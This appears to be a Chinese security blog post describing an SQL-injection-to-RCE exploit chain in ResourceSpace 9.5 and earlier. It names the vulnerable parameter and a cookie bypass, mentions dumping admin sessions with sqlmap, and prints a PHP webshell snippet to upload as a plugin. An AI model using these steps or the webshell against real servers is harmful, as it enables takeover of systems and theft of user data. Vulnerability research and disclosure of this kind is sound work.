数字资产管理平台,可以帮助用户快捷,方便的管理自己的数字资产。这个组件自2015年起,外界就没有曝光过漏洞,本文下载2021.03发布的9.5版本源码,进行分析,发现了一条从SQL注入到RCE的完整利用链。
影响版本
<= 9.5
SQL注入
ResourceSpace是一个存在时间很久的软件,在安全防护方面做的很不错,用户输入都进行了转义,过滤等操作(如escape_check ,getvalescaped等函数保证安全性)。但是我们发现,9.5版本引入了一个新的机制 -- 外部上传分享。
pages/edit_fields/9_ajax/add_keyword.php文件中有一个参数 k,没有被防护。
参数 k 的值被传入 include/user_functions.php 中的check_access_key_collection函数(函数中的key就是传入的k)
P.S. 可以看到,被传入的还有一个参数 upload_collection,他用来标识请求是不是外部分享,它通过cookie中的upload_share_active字段传入值,只要将其置1,即可标记请求为外部分享,从而绕过函数最开始的判断。
上神器sqlmap
获取管理员权限
脱数据的时候发现有一个user表,其中有用户名,密码Hash和sassion信息,我们拿到admin的session信息,就可以以管理员身份登陆后台,事实证明,我们成功了。
RCE
发现后台有一个上传插件的功能,上传一个包含webshell的插件
if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; } %
重新打包成 .tar.gz,然后将后缀重命名为 .rsp
本公众号内的文章及工具仅提供学习用途,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本公众号及文章作者不为此承担任何责任。